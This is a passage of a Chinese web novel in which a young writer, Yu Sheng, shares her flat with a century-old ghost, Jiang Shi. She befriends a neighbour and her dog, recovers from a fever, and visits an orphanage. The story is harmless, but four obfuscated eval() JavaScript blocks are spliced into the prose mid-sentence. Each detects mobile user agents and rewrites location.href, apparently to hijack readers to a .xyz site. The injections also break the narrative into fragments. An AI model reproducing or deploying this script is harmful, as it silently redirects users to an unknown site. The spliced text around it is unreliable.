喻声在黑暗中不敢闭眼,满脑子都是江时刚刚鬼气森森的脸;亮个台灯又没睡意,翻来覆去折腾了一晚上,最后在天微微亮的时候,才勉强爬起来翻床头柜吞了片安眠药后昏沉睡过去。 昏睡过去时,喻声脑海中只剩一个念头—— 看都看了。 这个时候把要求她写同人文的单主追回来不知道还来不来得及。 - 安眠药发挥功效的时间不长,十点刚过不久,喻声就被门口悉悉索索的声音吵醒。 声音不大,持续时间却很长。因为没睡饱,喻声脑子已经不转了,靠着枕头呆滞了好一会儿才恍惚想起昨晚临回房间前江时那个要把六楼的香案移到五楼的提议。 喻声不得不承认,这个世界上除了她这种做事温吞、两千字小短篇都能磨蹭一天的人之外,也会有做事高效、行动力超群的人存在。 她有料到江时会搬得很迅速,没料到会这么迅速。 果然只要净化掉睡眠,做事效率都会提高。 不知道春华女士那里有没有这种净化掉睡眠的灵丹妙药。 喻声的思绪跳跃到几千里外,被一重物砸地声吓得收回,心跳也跟着被偷走了一拍,她一顿,扶着床沿穿鞋,打算出卧室看看怎么鬼搬个香案也能制造出这么多奇怪动静。 可是客厅空空如也,没有香案,也没有江时,只剩声音还没停歇。 声音正雀跃着,问着喻声:“您是住旁边这栋公寓吗?能跟您打听一下公寓的具体情况吗?我听说好像闹鬼,有这回事吗?” 喻声接过切块蛋糕,放进袋子里,有点不知道该怎么回答收银员小姐的话。 有鬼是事实,但也不用到处宣扬引起恐慌,而且对于一些不敏感的人来说,鬼靠近他也不会感受到,这时不知道总比知道后想太多好。 于是她踌躇了一会儿,才模糊不清地说道:“是有点邪乎,但信则有不信则无吧,这么久了也没听到有因为闹鬼出事的。” 收银员小姐听到喻声的话后眼睛唰地亮起来:“那我信!” 喻声瞪眼:“诶?” 这不对吧。 这肯定不对啊—— 江时没在客厅,没搬香案,那声音到底是从什么地方来的? 喻声往前走,越靠近门,轱辘滑动的声音就越大。 等她把门打开,才终于确定了声音的来源,以及确定了做事高效、行动力超群的另有其人。 对面的门大敞,行动力超群的收银员小姐背对着她,吭哧吭哧地推着垒满东西的小推车往房里搬行李;江时懒散地靠在墙边,饶有兴致地看着她搬。 小推车上垒得太高,终于支撑不住地往后倒,喻声眼疾手快,往前扶了一把。 “谢谢——” “你——” 两人同时开口。 “对,是我,好巧。” 收银员小姐扭头,第一次看到没戴口罩的喻声,还辨认了好一会儿,随即笑着说,“我叫舒云繁,云朵很多的意思。我本来还在犹豫,听完你的话就去问中介了,一听中介说这只剩了这一间,我就立马定下来了,没想到你也住这一层。” 喻声有点哭笑不得。 她昨晚的意思明明是劝诫,怎么好像变成邀请了? 而且那个房屋中介为了房子能租出去真的无所不用其极,明明这儿还剩那么多间,居然还搞饥饿营销这一套。 旁边的江时在问是不是认识的人,当着舒云繁的面喻声也不好回答他,最后也跟着做了个自我介绍:“我叫喻声,比喻的喻,声音的声。” “喻声。”舒云繁念了一遍,把喻声扶住的那箱东西接过来往屋子里推,“很好听的名字,我记住了。” 很好听的名字吗? 喻声沉默地否决了这句话。 舒云繁没发现喻声那点微妙的情绪,仍在神采飞扬地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373067|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边搬东西边说着自己真的挺喜欢这里的—— 房租便宜,去上班就走两步路,她在自家便利店打工本来就赚不到什么钱,住家里还得每天受爸妈唠叨。 舒云繁笑,拧开矿泉水喝了口,为她那堆理由做了个总结:“存下钱和自由,原来是可以兼得的。” “但是吧。”喻声犹豫了一下,决定再给舒云繁打一剂预防针,“我昨晚说的有点邪乎,不是骗你的。” 舒云繁闻言更兴奋了:“没关系啦,我是鬼屋密室爱好者,而且我做足了准备才来的。” “做足了准备?” “你等会儿,我找一下。” 从小推车卸下的行李堆满了整个门口,舒云繁好不容易找了个空位蹲着,在杂乱的地面上翻找,找得累了,她干脆坐下来,回想自己是怎么把东西塞进箱子里的。 趁这个间隙,喻声偷偷往旁边瞥了眼江时。 如果舒云繁准备的东西对江时都能产生影响的话,住进公寓不被鬼打扰应该不成问题。 察觉到喻声的视线,江时直直地朝她望过去,随即似笑非笑地眼睛微眯,用口型说了句试试。 一阵忙乱后,舒云繁惊呼:“我找到了!” 然后,喻声就看见,舒云繁从箱子里掏出了一个,巨大无比的,十字架。 “……”江时咬牙切齿的声音响起,“你告诉她,要是再把我们和吸血鬼混为一谈,我跟她拼了。” 喻声当然不可能照着江时的原话说。 虽然她知道十字架不太行,但她也确实提不出什么更好的建议,否则也不会走到需要通过一个鬼去压制另一群鬼的地步。 喻声什么都没说,但她的表情还是把她内心的想法明晃晃地表现了出来。 舒云繁看见了,有点苦恼:“怎么了,是十字架不适合吗?” 喻声摇头:“我是觉得——” 话没说完,从舒云繁的家里蹦出来一团白色的毛球,紧接着,喻声就听到自己平时只会“咿呀”的门发出了巨大的一声“砰”,刚还在这说着威胁话的江时消失不见。 别说喻声,舒云繁都被吓了一跳:“外面的风这么大啊,这么重的门都能被吹到合上。” 喻声笑了一下,说:“好像是挺大的。” 风不大,白色毛球的威力挺大。 喻声没去管江时,她低头,注意力全被在她脚边乱蹭的小狗吸引走。 喻声蹲下来,轻轻摸了摸小狗,见它不反感又顺毛揉了揉,才问舒云繁:“这是昨晚进便利店躲雨的那只小狗吗?” “对。” 舒云繁把小推车推到一边,腾出了一条小道走出来,也蹲下来摸小狗,“它叫豆乳,可爱吧?我爸妈没时间照看它,我就带过来一起住了,去店里上班再一起带走。” 和舒云繁聊了一会儿后,喻声渐渐没了那种见到陌生人的慌乱情绪,何况还有豆乳,更平添了一股亲近感,于是她说:“如果你平时不方便带,我也可以帮你照看一会儿。” “那太好了,谢谢你呀。” 舒云繁说,“对了,豆乳出来之前你是不是有什么话想对我说来着?” 喻声点头:“我觉得豆乳应该比十字架更有用些。” 回答喻声的,是舒云繁疑惑的表情,和从喻声屋子里传出来的又一声闷响。 用了一个早上,喻声又学会了一个道理。 就算是鬼,也会有力所不能及的事。 5. 100岁 不该看豆乳可爱,就舍不得放开它,在走廊里待这么久的。 喻声暗叹。 她没带钥匙,门却在她的手握住门把手的时候自行打开,本以为这预示着江时虽被豆乳吓一跳但应该不生气,喻声一口气还没彻底松下来,就目睹他在屋内酝酿一场风暴。 更可怕的是,风暴针对对象不是她,是她的小盆栽。 小盆栽可怜的叶子散落一地,江时的动作没有因喻声回来而停止,相反地,听到声音,他扯掉小叶片的速度还加快了不少。 一片、两片—— “停下!” 喻声急了,来不及把门关上,连忙快走两步,弯腰从江时手中夺回盆栽,心疼地摸了摸它所剩无几的叶子,“有话好好说,你欺负它干嘛?” “你不遵守约定。” 江时把地上的所有叶子拢在手心,把玩着,抬眼凝视喻声,平静地说。 喻声不太习惯江时此刻的表情—— 这副表情,和当时他提到离开母亲后的生活时的表情如出一辙。 但她也仅仅是不太习惯,并没有被吓到。 先不说他的指责毫无缘由,就冲着她辛苦养大如今被迫趋向凋零的盆栽,喻声也觉得自己的气势不能输。 “我什么时候不遵守约定了?”喻声顿了顿,低头直直对上江时的视线,又问,“破坏我的东西,是你遵守约定的方式?” 江时气极:“约定好的客厅归我,你却要把那个白色的玩意儿放进来!” “……你说豆乳?”喻声觉得江时的脑回路很诡异:“我什么时候说把它放进来了?而且就算它进来了,和客厅归不归你有什么关系?” “你说了平时要照顾它!它进来了,客厅我还怎么待?” 喻声在脑海中理了一遍,终于明白江时这股怨气是打哪来了。 她确实向舒云繁提了平时可以帮忙照顾豆乳,话说出口的那瞬间也确实忽略了鬼对狗会很敏感。 如果豆乳真的进了她家,客厅是必经之地,江时不可能不受波及。 得知自己确实有不对的地方,喻声的气势渐渐弱了下来:“那你不觉得,它孤零零待在家的话很可怜吗?” “哦。”江时一脸冷漠,“你就不觉得我也很可怜吗?” “……” 喻声很想回答你有什么好可怜的,但很明显这不是个好答案,此时的江时比起豆乳更需要顺毛,“它也不会常来,它来的话你就先去六楼,只要它走了,剩下的时间客厅都是你的。” 江时完全没有被顺毛到:“喻声,到底是它帮你驱鬼还是我帮你?” 言下之意就是:他是大功臣,豆乳只是吉祥物,谁更应该先做出退让不用说。 喻声煞有其事地点点头:“你提醒我了,我觉得它驱鬼也挺有用的,你说我要不要也去养一只?” 她又瞅了眼手中的小盆栽,慢条斯理地说:“反正小狗应该不会故意破坏我的盆栽。” “你!” 江时气结,盯着手中的叶子看了好一会儿,最后低头说了句什么。 “你说什么?” “……没说什么。” 喻声盘腿坐到江时面前,虚靠着沙发,原本有些紧绷的情绪也放松了下来。 她把盆栽放置一边,放置的时候颠簸了下,盆栽的枝晃了晃,光秃秃的。 “能问你个问题吗?” “什么?” “刚才在走廊,你怎么知道十字架是对付吸血鬼用的?” “……” “你不说我也知道。”喻声笑眯眯地说,“我在那篇文的结尾写到的,虽然你口口声声说不喜欢这个题材,最后还是偷偷看了吧?” 江时又沉默,良久,才微不可闻地嗯了一声。 “我写得好吗?” 江时这次没有迟疑,快速地点了一下头,怕不够,又再点了一下:“我从很久以前——还活着的时候吧,就很佩服文笔好的人。” “为什么要佩服?”喻声声音很轻,“痛苦是文字的养分啊,太幸福的话反而写不出东西来。” 江时微怔。 所以—— 喻声没给他思考的时间,又继续往下说:“所以你放心。” 江时还没想出个所以然来,就又被喻声的话说懵:“放心什么?” “江时,我不会养其他小狗,豆乳也只是暂时的,我绝对不会抛弃你的,你可是我最珍贵的读者啊。”喻声眉眼一弯,“如果你实在害怕豆乳,它要真来的话我就多带它出门转转。” ——“反正我已经习惯被抛弃了。” ——“我绝对不会抛弃你的。” 她听到了。 她听到了他刚刚说的话。 她绕了好大一个圈,只是想安慰他。 而自己都做了些什么? 破坏她的东西、指责她、曲解她、因为认为世界很糟糕所以也把她往糟糕的方面想。 ——她波光粼粼、笑意盈盈的眼睛里,她漂亮、纯净的眼睛里,是如此丑陋的自己。 江时盯着喻声看了片刻,这样想到。 鬼是空洞的、没有心跳的怪物。 可为何被掏空的一片毫无波澜的平静中,仍有什么在不停摇摆? 喻声看到江时呆坐着,没忍住伸手碰了碰他的脸。 软乎乎的、冷冰冰的。 不是电影男主角的脸,是江时的脸,反而感觉更好。 江时被烫了一下,才蓦然回过神来,他慢吞地低头,说了声对不起。 江时把放置一旁的盆栽捧了过来,手往上抚过,盆栽的枝又晃了晃,恢复了原先的绿,甚至更生机勃勃了些,原本安稳待在他手心里的叶片也消失不见。 做完这些事后,他耷拉着,把盆栽递还给喻声,又再说了一声对不起。 喻声迟疑接过,惊讶得不行。 疑问从上次江时帮她清理掉身上的雨水时就开始种下,直至今日发芽。 她是这种体质,再加上从小在春华女士身边待着,神神鬼鬼的看过没有一千也有八百,第一次见鬼有恢复新生的特殊能力的。 不过喻声也没多纠结,左右是因为她见的还不够多罢了,如今问题已解决,小盆栽也恢复原样,喻声的心情也跟着外面的天气一点一点亮了起来。 东宜的夏天天气就是这样,逼近中午时太阳还晃得人睁不开眼,热浪翻滚,蝉鸣不断,天空是水浆洗过泛白的蓝;傍晚时云吸饱了水,风一刮过,天空又变成沉甸甸的黑,喻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373068|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声的心情紧跟着一点一点暗了下来。 原因无他,钱是真难赚。 喻声对着电脑屏幕无声地叹了口气。 她根据单主的要求改了又改,这已经是第五版了,对方仍不满意,在最后一版的基础上又抠出了一堆第一版就存在的小细节,让喻声改第六版。 喻声只收了一天的饭钱,却要在这一单上花费两周的时间不止。 喻声从上大学起就在接稿赚钱,兜兜转转也好几年了,在圈子里也渐渐有了点名气,来找她约稿的数不胜数,可这么明显找事的一只手都数得过来。 喻声打字:「这是我帮您改的最后一版了哦,您最后再看看是不是只有这些需要改的,没问题的话我就去改。」 很委婉,也表明了自己的态度,喻声点击发送。 可对方不依不饶,噼里啪啦发了一堆过来: 「什么叫最后一版?」 「顾客不是上帝吗?我是看你主页一条差评都没有才来约稿的,没想到这么不耐烦,好评都是刷的吧。」 「你要不想改就把定金退给我,真浪费时间。」 退定金? 原来这才是目的。 喻声被这么无赖的行为气得不轻:「如果您真的看过我的主页,就应该能看到简介写着可修改三次,也是秉承着顾客是上帝的原则让您改到了第五次,如果您现在想终止交易,错不在我,定金不退,视为跑单费。」 她想过的最恶毒的行为,也只是在一大段后再加上一句:「我觉得您实在不太适合约稿。」 两分钟后,喻声看着对方发来的、铺满整个屏幕的对话框,才觉得自己最后补充的那句实在太过礼貌。 喻声从小到大,都不擅长跟人吵架。 高敏也好,嘲笑她和正常人不一样的同学也好,谁都好,和他们吵架太累,只有自己保持长久的沉默时才会收获施舍般的善罢甘休。 如今也是这样。 屏幕上的文字疯狂地往上滚动着,喻声沉默,嘴也动不了,手也打不了字,只能试图像很多次那样得到对方的善罢甘休。 如今却不同。 接稿软件有已读机制,对方把喻声的已读不回当作挑衅,语言表达更加地赤裸裸。 有一只手从背后往前捂住了喻声的眼睛,不紧、带茧、透明。 傻瓜。 那只透明的手能遮住什么。 但喻声还是顺从地闭上了眼睛,心里却在害怕温热的眼泪会弄湿他的手。 心里想的,不知道为什么会说出口。 “没事。”江时放软了声音,“别怕。” 视觉被关闭,听觉就会被放大,杂音不断中,喻声听见江时叹气,嘟囔着这怎么操作,死了100年的人再接触新鲜事物真的很不容易;听见他絮絮叨叨,说怎么不会像保护盆栽一样保护自己,遇到这种人就像早上反问我一样反问回去就好了;听到他过了很久之后说,喻声,睁眼。 想要记住的瞬间太多了。 可这些瞬间通通被眼泪泡过、发涨,直至模糊不清。最后能留存长久的,也只有那句别怕,那句睁眼,那天的天气。 雨没有下,风还在,天气晴。 喻声在被风吹乱的心跳声中缓慢睁眼。 6. 100岁 风把心跳声吹乱,也把隐藏在喻声体内的感冒因子唤醒。 刚开始还只是鼻塞胸闷,喻声没当回事,但不知是因为下楼买药时被鬼吓了一通,还是因为下楼时又遭了风,隔天晚上直接发起烧来,算到现在已经过了三天还没好。 舒云繁早上来过一回,嘱咐喻声多休息,晚上下班再带点吃的来看她;又给喻声的手机设置了一键拨号,至少她的便利店离得近,真出事了她还能冲上来救喻声。 她的话把喻声逗笑。 舒云繁也笑,放下了喻声的手机:“太夸张了是不是?” 喻声摇头:“不是。” 是谢谢的意思。 便利店早开门,舒云繁只坐了一会儿就走了,临出门前还对客厅摆着的香案感到好奇,被喻声以租房子的时候就摆在这为理由搪塞了过去。 送走舒云繁,喻声又无力地陷回被窝里,整整三天和床生长在一起。窗帘拉上了,一丝阳光都透不进来,唯一照亮她的是书桌上发着光的电脑屏幕。 江时自从那天误打误撞帮喻声举报成功后,就开启了老古董接触新事物之旅。但他死得太早了,当时学的还是注音符号,对汉语拼音和五笔一窍不通,最后逞强了半天,还是喻声帮他改的语音输入。 喻声闭眼躺在床上时,耳边围绕的全是江时对着电脑屏幕的咕哝: “生病了怎么办?” “发烧了怎么办?” “除了喝热水还能干什么?” “喝热水的好处是什么?” “……” 简直比外面的蝉鸣还要吵。 最后江时也没查出个明白,他踱步到床边,一只手拐过来把喻声捂着头的被子往下扯到她下巴,目光掠过她烧红的脸,皱眉:“去医院。” “不去。” 喻声没睁眼,回答道,她感受到凉意,往上拖拽被子没成功,干脆翻了个身后往下蜷,“我好累,别吵我。” “你已经烧三天了,想把脑子烧坏?” “烧坏也不去。” “……像话吗。” 江时被噎了一下,“你要再不起来,我直接连被子把你扛走,随机吓个人问他医院在哪里。” 发烧后的脑袋像气球,氦气混沌地灌进来,脑袋被撑大,大到足以对抗大气压后就晕晕乎乎地打转着往上飘—— 直到被江时像针的一句话戳破。 喻声拼力半撑着坐起来,没吭声,瞪着江时。 她毫不怀疑,如果她没坐起来,江时真会说到做到。 “为什么不想去?”江时问。 “你为什么非得追根究底?就算我烧死了——”喻声一顿,咬了咬牙,发烧让她无法保持理智,说出来的话破罐子破摔,“——也没什么关系。” 只要不去医院,都没什么关系。 江时垂眼看喻声,手沿着下巴掰过她的头,伸手往她额头上贴,语气冷静。 “开口就死不死的,变成我这样你愿意?” 江时的手冰凉,不知道是不是网上学的招数,他一直贴着喻声的额头没放下来,至少比退烧贴管用,喻声稍微恢复了点理智。 “……我不是这个意思。” “那你是什么意思?”江时另一只手帮喻声往上拢了拢被子,“还是说,那天晚上是骗我的,其实你很缺钱?” “你很缺钱?” 那天晚上,等到喻声睁眼,江时才把遮住她眼睛的手放下,而后问。 喻声当然明白江时为什么会这么问。 她接起稿来不要命,吃饭睡觉时间极限缩短,一天基本都坐在电脑桌前修修改改,遇到极端单主也只能忍气吞声。 “我不缺。” 喻声顿了顿,回答。 虽然对文字太过推敲导致一天也写不了多少,但拉长战线,千字稿费多,就算不太稳定平均一月也能赚得很客观。 “只是我需要。” 太需要了。 “……” 过了半晌,江时才听到喻声低声回了一句。 “没骗你。我只是太不喜欢医院了。” 又一句。 “也不是故意呛你的。” 只是偶尔,很偶尔,人在弦绷得太紧断掉时总会脆弱,面对关心总会想要任性和宣泄,宣泄过后又渴望包容。 “知道了,如果晚上还没退烧,再来谈去医院的事情。”江时妥协,语调很轻,“现在先把药吃了,吃完睡觉。” “江时。” “我在。” 喻声把药吃了,昏昏沉沉睡过去前只留下一句“别对我太好”,等到彻底睡着了也没得到回答。 - 喻声直到傍晚才醒来,准确来说,是被敲门声叫醒的。 挣扎着坐起来后的第一件事,先是条件反射地伸手摸了下额头,确定不烫了才松口气,而后穿鞋开门,在舒云繁手指快要敲断前终于打开了门。 舒云繁裹挟着凉风和日落挤了进来,踩着后鞋跟把鞋脱了,她的两只手拎满了东西,往厨房走的同时还一步三回头看喻声。 “你再晚点开门我真要报警了。” “哪有这么严重?”喻声笑,跟着她也往厨房走,“谢谢你早上带来的药,我现在好多了。” “看着气色是好了点,还发烧吗?” “摸着不烧了。” “那就行,我给你带了粥、小菜和一些水果,你多少吃点,这才几天就瘦成这样了。我还带了煎饺当晚餐,不过你暂时不能吃,就当陪我了。哦对了,还有三明治,先放冰箱吧,明天可以吃。” 舒云繁站在装粥的食盒前,犯了难,环顾了一圈也没找到,“你家的碗筷都放在哪里?” 喻声还没来得及回答,墙边的碗柜“轰”地一声打开,瓷白的碗飘了出来,稳稳当当落到台面。 舒云繁被吓得腿发软,扶住岛台才没跪下来,她不敢置信地望向喻声,企图从喻声脸上寻找共鸣:“你刚看到了没!碗柜、碗柜自己开了!还有那个碗,我没瞎的话刚是飘在空中吧——这地方真闹鬼啊?” 耳朵听到传闻和亲眼所见传闻,冲击感真不一样。 喻声干巴巴地笑了声,对着舒云繁说了句“是不是灯太暗了眼花了”,又往旁边悄悄地瞪了下。 旁边赫然站着的是从醒来就没看到的江时,偏偏他还一脸无辜,说我是在帮她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373069|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——根本就是在报豆乳吓他一跳的仇吧。 喻声严重怀疑,江时死的时候应该没二十岁,充其量十岁,不,八岁,不能再多。 “你真没看到?” 喻声走上前,把碗拿了,又再从碗柜里抽出两双筷子两把汤勺,还多拿了盘子。 “我下午口渴来拿了杯子,碗柜应该是那时候忘关的,碗太靠外放了挡到杯子了,我先拿出来结果忘放回去了。” 哄骗意味极重,话音刚落,喻声就听到从背后传来的轻笑。 等到舒云繁怔愣地点点头,喻声才又笑着说:“没事,我在这儿呢,别怕。” 舒云繁又带着委屈的表情点点头,权当刚刚是眼花了。 她接过喻声手里的碗,把食盒打开就往碗里倒,食盒里的粥留得不多,碗里堆得满满登登;又拿过筷子,把另一个塑料盒里的煎饺一股脑地赶到盘子上。 “我来拿吧。” 喻声想抢先端碗和盘子,被舒云繁敲了一下:“袋子里还有个盒子,里面是小菜,你拿那个吧,轻一点,病没好呢别晕头转向把碗摔了,这个我拿就好。” “没有这么脆弱吧?拿个碗而已。” “小心为上嘛。” 原来有朋友是这种感觉啊。 从厨房到客厅,舒云繁在前面走,喻声慢她两步,听她慢悠悠说着今天便利店遇到的奇葩客人,说着豆乳在店里一点都不乖,话往后飘,轻轻掠过喻声,一颗心突然落地,被柔软的绒毛毯子接住、包裹,被手中的小菜升腾的热气烘得温暖。 前面的舒云繁已经把东西放下,疑惑地看着喻声,催促着:“愣什么呢,快过来呀。” 喻声把所有杂乱的想法揉成一团抛掉,快走两步把东西放下,挤到茶几和沙发的间隙,坐到舒云繁的身边:“我是在想,病好了要请你吃饭。” “清粥小菜换一顿大餐?” “一顿大餐换清粥小菜。” 一顿大餐,换这辈子吃过的最好吃的清粥和小菜,太值得了。 喻声问舒云繁是不是点了酒馅的煎饺,怎么边吃边乐得不行。 舒云繁一听这话更乐了,说应该是清粥里面下了白酒,不然怎么会有这么甘愿被宰的笨蛋。 喻声煞有其事地点了下头。 如果这种突然其来的幸福就叫喝醉的话,那应该就是了。 喝醉的时刻还有很多,让喻声喝醉的人原来也有好多,说着不让她吃煎饺最后还是往她嘴里塞了最后一口的舒云繁,送走舒云繁后在走廊给她打来电话问近况的春华女士,和打完电话回到家后熟练地过来贴额头、披毯子、催促她吃完药赶紧去睡觉的江时。 和舒云繁闲聊吃饭时,江时没打扰她们,等到舒云繁走了才悄无声息回到客厅。 喻声感觉自己又开始有点晕乎乎的。 她问:“起床后不见你,去哪里了?” 江时轻不可闻地笑了下:“真想知道?” 这有什么真的假的。 喻声仰头看了眼他。 “你讲梦话,被我听到太多秘密了,秉承着见好就收的原则,我好心只听了一半。” 喻声倦意被赶跑:“……?” 7. 100岁 最后也没从江时嘴里套出到底说了什么梦话,这件事因喻声病好得差不多,恢复工作而被搁置了下来。 喻声的早午餐是舒云繁好几天前带来的三明治,江时的早午餐则是他从外卖app里自己挑选的广式早茶,作为他别再吓舒云繁的交换。 江时对美食倒是坦然接受,对喻声的指责则持保留意见。 他戳开肠粉,夹起一块放嘴里,嚼完才回答:“我真没故意吓她。” “我很想信你。” 透过窗户的阳光在桌子上炸开花,江时眼睛微微亮了起来。 三明治的包装袋太妨碍咬下一口,喻声干脆把整个包装撕掉,这才抬眼看他,继续往下说。 “但你前科实在是太多了。” “……幸好你没学法律。” “嗯?” 江时已经把肠粉吃完,正在费力地开另一个卡得死死的塑料盒,余光瞥到喻声的早饭快接近尾声,先伸手把放在另一边的药瓶移到她面前才继续往下拆塑料盒。 “不是有那个,疑罪从无吗?但在你这里疑罪都直接判死刑了是吧。” 感冒有余震,喻声的药在退烧后还一连吃了好几天,一日三次,有时会忘,全靠江时的饭后提醒。 “……谢谢。”喻声接过药瓶,把该吃的三粒倒在盖子上,放到水杯旁,又说,“你最近上网学到不少东西啊。” 终于把塑料盒拆开,江时垂眼吃饭,又抬头看喻声,又低头盯食物,反复纠结好几次,直到喻声吃完最后一口三明治在收拾桌子上的残渣时才睫毛翕动,忍不住问:“我一直用你的电脑,你会觉得不方便吗?” 喻声手上的动作一停,才反应过来他刚刚这么久的迟疑是在犹豫什么,她无奈温声道:“我不是这个意思,最近状态不太好少接了点稿,所以你用也没有打扰到我。今天一天我都不会在家,你今天也可以继续用。” 怪不得她今天吃饭的速度都变快了很多。 江时把盒里的葱都拨开,又拨回来,忙了半天也没入口,他状似无意地问:“你要去哪里?” 没什么好瞒的,喻声言简意赅:“我定期给福利院捐款,隔一段时间就会去看看孩子们。” 江时更加言简意赅,没有丝毫犹豫:“我也去。” “……你?” “反正他们也看不到我,去了也不会对你造成什么影响吧?” 到底是谁说看不到的? 喻声默默地想,耳边还响着每次一来最粘她的小姑娘的询问:“喻声姐姐,你后面跟着这个哥哥是谁呀?” 喻声蹲下来,摸摸小姑娘圆溜溜的脑袋,再把手里袋子打开,里面是图画书和玩偶,其他另带来的日常消耗品则先交给了护工秦淑含:“上次姐姐要走的时候不是说,珠珠要乖乖吃饭,姐姐就会给珠珠带礼物来吗?但东西太多了,姐姐就找了哥哥帮忙,顺便让他一起过来陪珠珠玩。” 江时没想到会被看到,他摸了摸鼻子,不自然地跟着打了个招呼。 小姑娘叫福珠,出生就被遗弃,名字是福利院起的。喻声来东宜上大学、开始定期给东宜福利院捐款满打满算已经过了五个年头,福珠也在福利院跌跌撞撞地走完了她的五岁。 喻声在东宜第一次租房的地段离福利院远了不少,再加上当时因毕业论文忙得焦头烂额,来福利院的次数骤减,导致小姑娘每次见她都委屈,恨不得挂她身上随她回家。 阴差阳错地,这次租的房子倒是离福利院不远,算是继续在这里住下去的第三个理由。 喻声因为刚感冒好减少了单子,这两天正闲着,就想趁有时间来看看福珠,顺便送点东西。 果然一听喻声这么说,福珠雀跃地笑弯了眼,小小的她小小的心脏里能装下的也只有今天多了个人陪她玩,她一手抱着玩偶,一手举起图画书,稚声稚气地问:“哥哥可以念书给我听吗?秦奶奶太忙了,没有时间讲给我听,我有好多字都不认识。” 初秋很好,天气很好,阳光很好,是这么一个身心愉悦,柿子都幸福到熟透的日子。 东宜福利院老旧,不大,但像福珠这样,带着疾病来,从崭新的出生就被遗弃,不受祝福的孩子却很多。 ——他们生命中无时无刻的难捱的暴雨,会因为突然出现的很好的日子而骤减一点吗? 喻声不知道。 也根本不敢想。 正因这样,她又怕自己给的不够,又怕自己给的太多。 此刻,喻声也只敢静静地顺着福珠的头发,一下又一下,和她贴着温存一会儿,有一搭没一搭地听着江时念图画书。 他们坐在树下的长椅上,阳光透过树缝织成一张密密的网笼罩下来。院子里的地凹凸不平,有水洼,积水被阳光晃得流淌,这个点刚好是福利院自由活动的时间,不少小孩子嬉笑着踩着水欢呼玩闹。 江时缓缓念着图书的声音、小孩子玩闹的声音、风拜托枝叶替它发出的沙沙声音,所有声音混杂在一起,涌进喻声的胸腔,清晰地提炼出一个关键词—— 习惯。 喻声蓦然发现,她好像真的在习惯着这一切,习惯着江时的存在,习惯着他无所遗漏地融入她生活的每一件事中。 对于她来说,这个词太陌生了,好像不是个好兆头。 但她没来得及思考太多,福珠听困了的脑袋就砸到她怀里,随即传来均匀绵长的呼吸声。 喻声失笑,撑着往后坐了点,换了个姿势托住福珠的头,小心翼翼地放在腿上,让她睡得更舒服些,抬眼就看到江时的目光黏在她脸上。 四目相对,一时无言,江时先打破了寂静。 “你好像没怎么变。”江时说。 喻声一愣。 “你刚才进去和院长打招呼时,福珠给我看了几年前你和她拍的照片。”他解释。 江时把手中的书往前翻,封面和目录间赫然夹着一张照片,喻声伸手去拿,拿住的是一袋柿子,是秦淑含塞给她的。 “院子里种的,最近刚成熟,甜得很,带一袋回宿舍吃吧。” “谢谢秦奶奶。”喻声弯了弯眼,袋子沉甸甸的,她把袋子往手臂处捎,“最近身体还好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373070|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还是老样子。”秦淑含叹了口气,招呼喻声坐下,眼神止不住往福珠那边瞧,又叹了口气,“能多撑几年是几年,左右是放心不下这些孩子。” 秦淑含二十几年前老伴去世,她膝下无儿女,辗转几次后就住进了福利院,成为了护工,一直到现在,二十年从未停歇,带出来的孩子数不胜数。 福珠是被遗弃到福利院门口的,抱回来后一直是秦淑含在带她,名字也是她起的。福珠算是这一茬孩子中最小的一个,也因病一直没被领养,因此秦淑含格外疼她。 喻声还是有点担忧:“您平时也得多注意休息,我给您带的补品那些,您要记得吃,别忙忘了。” 秦淑含笑眯了眼欸了一声,拍了拍喻声的手,说她会记得的,但下次千万别再破费买这么多东西来了。 喻声和秦淑含聊天的时候,福珠就乖乖坐在旁边画画。 三岁的小孩在无引导的情况下画出来的画是凌乱的,有形状但看不出来画的是什么的,福珠在画完后指着一堆圈圈告诉喻声和秦淑含,这是喻声姐姐,这是秦奶奶,这是珠珠,是一家人。 照片也是这个时候拍下的。 